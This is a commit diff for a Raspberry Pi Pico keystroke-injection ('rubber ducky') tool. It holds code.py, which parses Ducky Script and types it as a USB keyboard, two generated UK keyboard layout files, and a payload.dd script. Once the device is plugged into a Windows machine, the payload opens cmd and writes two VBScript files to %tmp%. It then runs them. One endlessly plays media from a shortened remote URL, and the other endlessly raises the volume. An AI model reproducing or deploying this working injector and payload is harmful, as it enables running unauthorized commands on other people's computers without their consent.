commit all files

code.py

+# License : GPLv2.0
+# copyright (c) 2021  Dave Bailey
+# Author: Dave Bailey (dbisu, @daveisu)
+
+import usb_hid
+from adafruit_hid.keyboard import Keyboard
+
+# comment out these lines for non_US keyboards
+#from adafruit_hid.keyboard_layout_us import KeyboardLayoutUS as KeyboardLayout
+#from adafruit_hid.keycode import Keycode
+from keyboard_layout_win_uk import KeyboardLayout
+from keycode_win_uk import Keycode
+
+# uncomment these lines for non_US keyboards
+# replace LANG with appropriate language
+#from keyboard_layout_win_LANG import KeyboardLayout
+#from keycode_win_LANG import Keycode
+
+import supervisor
+
+import time
+import digitalio
+from board import *
+import pwmio
+
+led = pwmio.PWMOut(LED, frequency=5000, duty_cycle=0)
+
+def led_pwm_up(led):
+    for i in range(100):
+        # PWM LED up and down
+        if i < 50:
+            led.duty_cycle = int(i * 2 * 65535 / 100)  # Up
+        time.sleep(0.01)
+def led_pwm_down(led):
+    for i in range(100):
+        # PWM LED up and down
+        if i >= 50:
+            led.duty_cycle = 65535 - int((i - 50) * 2 * 65535 / 100)  # Down
+        time.sleep(0.01)
+
+# led = digitalio.DigitalInOut(LED)
+# led.direction = digitalio.Direction.OUTPUT
+
+duckyCommands = {
+    'WINDOWS': Keycode.WINDOWS, 'GUI': Keycode.GUI,
+    'APP': Keycode.APPLICATION, 'MENU': Keycode.APPLICATION, 'SHIFT': Keycode.SHIFT,
+    'ALT': Keycode.ALT, 'CONTROL': Keycode.CONTROL, 'CTRL': Keycode.CONTROL,
+    'DOWNARROW': Keycode.DOWN_ARROW, 'DOWN': Keycode.DOWN_ARROW, 'LEFTARROW': Keycode.LEFT_ARROW,
+    'LEFT': Keycode.LEFT_ARROW, 'RIGHTARROW': Keycode.RIGHT_ARROW, 'RIGHT': Keycode.RIGHT_ARROW,
+    'UPARROW': Keycode.UP_ARROW, 'UP': Keycode.UP_ARROW, 'BREAK': Keycode.PAUSE,
+    'PAUSE': Keycode.PAUSE, 'CAPSLOCK': Keycode.CAPS_LOCK, 'DELETE': Keycode.DELETE,
+    'END': Keycode.END, 'ESC': Keycode.ESCAPE, 'ESCAPE': Keycode.ESCAPE, 'HOME': Keycode.HOME,
+    'INSERT': Keycode.INSERT, 'NUMLOCK': Keycode.KEYPAD_NUMLOCK, 'PAGEUP': Keycode.PAGE_UP,
+    'PAGEDOWN': Keycode.PAGE_DOWN, 'PRINTSCREEN': Keycode.PRINT_SCREEN, 'ENTER': Keycode.ENTER,
+    'SCROLLLOCK': Keycode.SCROLL_LOCK, 'SPACE': Keycode.SPACE, 'TAB': Keycode.TAB,
+    'BACKSPACE': Keycode.BACKSPACE,
+    'A': Keycode.A, 'B': Keycode.B, 'C': Keycode.C, 'D': Keycode.D, 'E': Keycode.E,
+    'F': Keycode.F, 'G': Keycode.G, 'H': Keycode.H, 'I': Keycode.I, 'J': Keycode.J,
+    'K': Keycode.K, 'L': Keycode.L, 'M': Keycode.M, 'N': Keycode.N, 'O': Keycode.O,
+    'P': Keycode.P, 'Q': Keycode.Q, 'R': Keycode.R, 'S': Keycode.S, 'T': Keycode.T,
+    'U': Keycode.U, 'V': Keycode.V, 'W': Keycode.W, 'X': Keycode.X, 'Y': Keycode.Y,
+    'Z': Keycode.Z, 'F1': Keycode.F1, 'F2': Keycode.F2, 'F3': Keycode.F3,
+    'F4': Keycode.F4, 'F5': Keycode.F5, 'F6': Keycode.F6, 'F7': Keycode.F7,
+    'F8': Keycode.F8, 'F9': Keycode.F9, 'F10': Keycode.F10, 'F11': Keycode.F11,
+    'F12': Keycode.F12,
+
+}
+def convertLine(line):
+    newline = []
+    # print(line)
+    # loop on each key - the filter removes empty values
+    for key in filter(None, line.split(" ")):
+        key = key.upper()
+        # find the keycode for the command in the list
+        command_keycode = duckyCommands.get(key, None)
+        if command_keycode is not None:
+            # if it exists in the list, use it
+            newline.append(command_keycode)
+        elif hasattr(Keycode, key):
+            # if it's in the Keycode module, use it (allows any valid keycode)
+            newline.append(getattr(Keycode, key))
+        else:
+            # if it's not a known key name, show the error for diagnosis
+            print(f"Unknown key: <{key}>")
+    # print(newline)
+    return newline
+
+def runScriptLine(line):
+    for k in line:
+        kbd.press(k)
+    kbd.release_all()
+
+def sendString(line):
+    layout.write(line)
+
+def parseLine(line):
+    global defaultDelay
+    if(line[0:3] == "REM"):
+        # ignore ducky script comments
+        pass
+    elif(line[0:5] == "DELAY"):
+        time.sleep(float(line[6:])/1000)
+    elif(line[0:6] == "STRING"):
+        sendString(line[7:])
+    elif(line[0:5] == "PRINT"):
+        print("[SCRIPT]: " + line[6:])
+    elif(line[0:6] == "IMPORT"):
+        runScript(line[7:])
+    elif(line[0:13] == "DEFAULT_DELAY"):
+        defaultDelay = int(line[14:]) * 10
+    elif(line[0:12] == "DEFAULTDELAY"):
+        defaultDelay = int(line[13:]) * 10
+    elif(line[0:3] == "LED"):
+        if(led.value == True):
+            led.value = False
+        else:
+            led.value = True
+    else:
+        newScriptLine = convertLine(line)
+        runScriptLine(newScriptLine)
+
+kbd = Keyboard(usb_hid.devices)
+layout = KeyboardLayout(kbd)
+
+# turn off automatically reloading when files are written to the pico
+supervisor.disable_autoreload()
+
+# sleep at the start to allow the device to be recognized by the host computer
+time.sleep(.5)
+
+led_pwm_up(led)
+
+def getProgrammingStatus():
+    # check GP0 for setup mode
+    # see setup mode for instructions
+    progStatusPin = digitalio.DigitalInOut(GP0)
+    progStatusPin.switch_to_input(pull=digitalio.Pull.UP)
+    progStatus = not progStatusPin.value
+    return(progStatus)
+
+
+defaultDelay = 0
+
+def runScript(file):
+    global defaultDelay
+
+    duckyScriptPath = file
+    try:
+        f = open(duckyScriptPath,"r",encoding='utf-8')
+        previousLine = ""
+        for line in f:
+            line = line.rstrip()
+            if(line[0:6] == "REPEAT"):
+                for i in range(int(line[7:])):
+                    #repeat the last command
+                    parseLine(previousLine)
+                    time.sleep(float(defaultDelay)/1000)
+            else:
+                parseLine(line)
+                previousLine = line
+            time.sleep(float(defaultDelay)/1000)
+    except OSError as e:
+        print("Unable to open file ", file)
+
+def selectPayload():
+    payload = "payload.dd"
+    # check switch status
+    # payload1 = GPIO4 to GND
+    # payload2 = GPIO5 to GND
+    # payload3 = GPIO10 to GND
+    # payload4 = GPIO11 to GND
+    payload1Pin = digitalio.DigitalInOut(GP4)
+    payload1Pin.switch_to_input(pull=digitalio.Pull.UP)
+    payload1State = not payload1Pin.value
+    payload2Pin = digitalio.DigitalInOut(GP5)
+    payload2Pin.switch_to_input(pull=digitalio.Pull.UP)
+    payload2State = not payload2Pin.value
+    payload3Pin = digitalio.DigitalInOut(GP10)
+    payload3Pin.switch_to_input(pull=digitalio.Pull.UP)
+    payload3State = not payload3Pin.value
+    payload4Pin = digitalio.DigitalInOut(GP11)
+    payload4Pin.switch_to_input(pull=digitalio.Pull.UP)
+    payload4State = not payload4Pin.value
+
+
+    if(payload1State == True):
+        payload = "payload.dd"
+
+    elif(payload2State == True):
+        payload = "payload2.dd"
+
+    elif(payload3State == True):
+        payload = "payload3.dd"
+
+    elif(payload4State == True):
+        payload = "payload4.dd"
+
+    else:
+        # if all pins are high, then no switch is present
+        # default to payload1
+        payload = "payload.dd"
+
+
+    return payload
+
+progStatus = False
+progStatus = getProgrammingStatus()
+
+if(progStatus == False):
+    # not in setup mode, inject the payload
+    payload = selectPayload()
+    print("Running ", payload)
+    runScript(payload)
+
+    print("Done")
+else:
+    print("Update your payload")
+
+led_state = False
+while True:
+    if led_state:
+        led_pwm_up(led)
+        led_state = False
+    else:
+        led_pwm_down(led)
+        led_state = True
+    

keyboard_layout_win_uk.py

+# SPDX-FileCopyrightText: 2021 Neradoc NeraOnGit@ri1.fr
+#
+# SPDX-License-Identifier: MIT
+"""
+This file was automatically generated using Circuitpython_Keyboard_Layouts
+"""
+from adafruit_hid.keyboard_layout_base import KeyboardLayoutBase
+
+
+__version__ = "0.0.1-alpha.0"
+__repo__ = "https://github.com/Neradoc/Circuitpython_Keyboard_Layouts.git"
+
+
+class KeyboardLayout(KeyboardLayoutBase):
+    ASCII_TO_KEYCODE = (
+        b'\x00'
+        b'\x00'
+        b'\x00'
+        b'\x00'
+        b'\x00'
+        b'\x00'
+        b'\x00'
+        b'\x00'
+        b'\x2a'  # BACKSPACE
+        b'\x2b'  # '\t'
+        b'\x28'  # '\n'
+        b'\x00'
+        b'\x00'
+        b'\x00'
+        b'\x00'
+        b'\x00'
+        b'\x00'
+        b'\x00'
+        b'\x00'
+        b'\x00'
+        b'\x00'
+        b'\x00'
+        b'\x00'
+        b'\x00'
+        b'\x00'
+        b'\x00'
+        b'\x00'
+        b'\x29'  # ESC
+        b'\x00'
+        b'\x00'
+        b'\x00'
+        b'\x00'
+        b'\x2c'  # ' '
+        b'\x9e'  # '!'
+        b'\x9f'  # '"'
+        b'\x31'  # '#'
+        b'\xa1'  # '$'
+        b'\xa2'  # '%'
+        b'\xa4'  # '&'
+        b'\x34'  # "'"
+        b'\xa6'  # '('
+        b'\xa7'  # ')'
+        b'\xa5'  # '*'
+        b'\xae'  # '+'
+        b'\x36'  # ','
+        b'\x2d'  # '-'
+        b'\x37'  # '.'
+        b'\x38'  # '/'
+        b'\x27'  # '0'
+        b'\x1e'  # '1'
+        b'\x1f'  # '2'
+        b'\x20'  # '3'
+        b'\x21'  # '4'
+        b'\x22'  # '5'
+        b'\x23'  # '6'
+        b'\x24'  # '7'
+        b'\x25'  # '8'
+        b'\x26'  # '9'
+        b'\xb3'  # ':'
+        b'\x33'  # ';'
+        b'\xb6'  # '<'
+        b'\x2e'  # '='
+        b'\xb7'  # '>'
+        b'\xb8'  # '?'
+        b'\xb4'  # '@'
+        b'\x84'  # 'A'
+        b'\x85'  # 'B'
+        b'\x86'  # 'C'
+        b'\x87'  # 'D'
+        b'\x88'  # 'E'
+        b'\x89'  # 'F'
+        b'\x8a'  # 'G'
+        b'\x8b'  # 'H'
+        b'\x8c'  # 'I'
+        b'\x8d'  # 'J'
+        b'\x8e'  # 'K'
+        b'\x8f'  # 'L'
+        b'\x90'  # 'M'
+        b'\x91'  # 'N'
+        b'\x92'  # 'O'
+        b'\x93'  # 'P'
+        b'\x94'  # 'Q'
+        b'\x95'  # 'R'
+        b'\x96'  # 'S'
+        b'\x97'  # 'T'
+        b'\x98'  # 'U'
+        b'\x99'  # 'V'
+        b'\x9a'  # 'W'
+        b'\x9b'  # 'X'
+        b'\x9c'  # 'Y'
+        b'\x9d'  # 'Z'
+        b'\x2f'  # '['
+        b'\x31'  # '\\'
+        b'\x30'  # ']'
+        b'\xa3'  # '^'
+        b'\xad'  # '_'
+        b'\x35'  # '`'
+        b'\x04'  # 'a'
+        b'\x05'  # 'b'
+        b'\x06'  # 'c'
+        b'\x07'  # 'd'
+        b'\x08'  # 'e'
+        b'\x09'  # 'f'
+        b'\x0a'  # 'g'
+        b'\x0b'  # 'h'
+        b'\x0c'  # 'i'
+        b'\x0d'  # 'j'
+        b'\x0e'  # 'k'
+        b'\x0f'  # 'l'
+        b'\x10'  # 'm'
+        b'\x11'  # 'n'
+        b'\x12'  # 'o'
+        b'\x13'  # 'p'
+        b'\x14'  # 'q'
+        b'\x15'  # 'r'
+        b'\x16'  # 's'
+        b'\x17'  # 't'
+        b'\x18'  # 'u'
+        b'\x19'  # 'v'
+        b'\x1a'  # 'w'
+        b'\x1b'  # 'x'
+        b'\x1c'  # 'y'
+        b'\x1d'  # 'z'
+        b'\xaf'  # '{'
+        b'\xe4'  # '|'
+        b'\xb0'  # '}'
+        b'\xb1'  # '~'
+        b'\x00'
+    )
+    NEED_ALTGR = '\\¦áéíóú€'
+    HIGHER_ASCII = {
+        0xa3: 0xa0,  # '£'
+        0x20ac: 0x21,  # '€'
+        0xe9: 0x08,  # 'é'
+        0xfa: 0x18,  # 'ú'
+        0xed: 0x0c,  # 'í'
+        0xf3: 0x12,  # 'ó'
+        0xe1: 0x04,  # 'á'
+        0xac: 0xb5,  # '¬'
+        0xa6: 0x35,  # '¦'
+    }
+    COMBINED_KEYS = {
+    }

keycode_win_uk.py

+# SPDX-FileCopyrightText: 2021 Neradoc NeraOnGit@ri1.fr
+#
+# SPDX-License-Identifier: MIT
+"""
+This file was automatically generated using Circuitpython_Keyboard_Layouts
+"""
+
+
+__version__ = "0.0.1-alpha.0"
+__repo__ = "https://github.com/Neradoc/Circuitpython_Keyboard_Layouts.git"
+
+
+class Keycode:
+    A = 0x04
+    B = 0x05
+    C = 0x06
+    D = 0x07
+    E = 0x08
+    F = 0x09
+    G = 0x0a
+    H = 0x0b
+    I = 0x0c
+    J = 0x0d
+    K = 0x0e
+    L = 0x0f
+    M = 0x10
+    N = 0x11
+    O = 0x12
+    P = 0x13
+    Q = 0x14
+    R = 0x15
+    S = 0x16
+    T = 0x17
+    U = 0x18
+    V = 0x19
+    W = 0x1a
+    X = 0x1b
+    Y = 0x1c
+    Z = 0x1d
+    ALT = 0xe2
+    END = 0x4d
+    F1 = 0x3a
+    F2 = 0x3b
+    F3 = 0x3c
+    F4 = 0x3d
+    F5 = 0x3e
+    F6 = 0x3f
+    F7 = 0x40
+    F8 = 0x41
+    F9 = 0x42
+    F10 = 0x43
+    F11 = 0x44
+    F12 = 0x45
+    F13 = 0x68
+    F14 = 0x69
+    F15 = 0x6a
+    F16 = 0x6b
+    F17 = 0x6c
+    F18 = 0x6d
+    F19 = 0x6e
+    F20 = 0x6f
+    F21 = 0x70
+    F22 = 0x71
+    F23 = 0x72
+    F24 = 0x73
+    GUI = 0xe3
+    ONE = 0x1e
+    SIX = 0x23
+    TAB = 0x2b
+    TWO = 0x1f
+    FIVE = 0x22
+    FOUR = 0x21
+    HOME = 0x4a
+    NINE = 0x26
+    ZERO = 0x27
+    ALTGR = 0xe6
+    COMMA = 0x36
+    EIGHT = 0x25
+    ENTER = 0x28
+    MINUS = 0x2d
+    OEM_8 = 0x35
+    PAUSE = 0x48
+    QUOTE = 0x31
+    SEVEN = 0x24
+    SHIFT = 0xe1
+    SPACE = 0x2c
+    THREE = 0x20
+    APPLICATION = 0x65
+    BACKSLASH = 0x64
+    BACKSPACE = 0x2a
+    CAPS_LOCK = 0x39
+    COMMAND = 0xe3
+    CONTROL = 0xe0
+    DELETE = 0x4c
+    DOWN_ARROW = 0x51
+    EQUALS = 0x2e
+    ESCAPE = 0x29
+    FORWARD_SLASH = 0x38
+    GRAVE_ACCENT = 0x34
+    INSERT = 0x49
+    KEYPAD_ASTERISK = 0x55
+    KEYPAD_EIGHT = 0x60
+    KEYPAD_FIVE = 0x5d
+    KEYPAD_FORWARD_SLASH = 0x54
+    KEYPAD_FOUR = 0x5c
+    KEYPAD_MINUS = 0x56
+    KEYPAD_NINE = 0x61
+    KEYPAD_NUMLOCK = 0x53
+    KEYPAD_ONE = 0x59
+    KEYPAD_PERIOD = 0x63
+    KEYPAD_PLUS = 0x57
+    KEYPAD_SEVEN = 0x5f
+    KEYPAD_SIX = 0x5e
+    KEYPAD_THREE = 0x5b
+    KEYPAD_TWO = 0x5a
+    KEYPAD_ZERO = 0x62
+    LEFT_ALT = 0xe2
+    LEFT_ARROW = 0x50
+    LEFT_BRACKET = 0x2f
+    LEFT_CONTROL = 0xe0
+    LEFT_GUI = 0xe3
+    LEFT_SHIFT = 0xe1
+    OPTION = 0xe2
+    PAGE_DOWN = 0x4e
+    PAGE_UP = 0x4b
+    PERIOD = 0x37
+    PRINT_SCREEN = 0x46
+    RETURN = 0x28
+    RIGHT_ALT = 0xe6
+    RIGHT_ARROW = 0x4f
+    RIGHT_BRACKET = 0x30
+    RIGHT_CONTROL = 0xe4
+    RIGHT_GUI = 0xe7
+    RIGHT_SHIFT = 0xe5
+    SCROLL_LOCK = 0x47
+    SEMICOLON = 0x33
+    SPACEBAR = 0x2c
+    UP_ARROW = 0x52
+    WINDOWS = 0xe3
+
+    @classmethod
+    def modifier_bit(cls, keycode):
+        """Return the modifer bit to be set in an HID keycode report if this is a
+        modifier key; otherwise return 0."""
+        return (
+            1 << (keycode - 0xE0) if cls.LEFT_CONTROL <= keycode <= cls.RIGHT_GUI else 0
+        )

payload.dd

+DELAY 3500
+GUI r
+DELAY 200
+STRING cmd
+ENTER
+DELAY 500
+STRING del %tmp%\rickyou.vbs
+ENTER
+DELAY 200
+STRING del %tmp%\volup.vbs
+ENTER
+DELAY 200
+STRING cd %tmp% && copy con rickyou.vbs
+ENTER
+STRING While true
+ENTER
+STRING Dim oPlayer
+ENTER
+STRING Set oPlayer = CreateObject("WMPlayer.OCX")
+ENTER
+STRING oPlayer.URL = "http://tinyurl.com/s63ve48"
+ENTER
+STRING oPlayer.controls.play
+ENTER
+STRING While oPlayer.playState <> 1 ' 1 = Stopped
+ENTER
+STRING WScript.Sleep 100
+ENTER
+STRING Wend
+ENTER
+STRING oPlayer.close
+ENTER
+STRING end
+ENTER
+DELAY 100
+CTRL z
+ENTER
+STRING copy con volup.vbs
+ENTER
+STRING do
+ENTER
+STRING Set WshShell = CreateObject("WScript.Shell")
+ENTER
+STRING WshShell.SendKeys(chr(&hAF))
+ENTER
+STRING loop
+ENTER
+CTRL z
+ENTER
+STRING start rickyou.vbs && volup.vbs
+ENTER
+STRING exit
+ENTER
\ No newline at end of file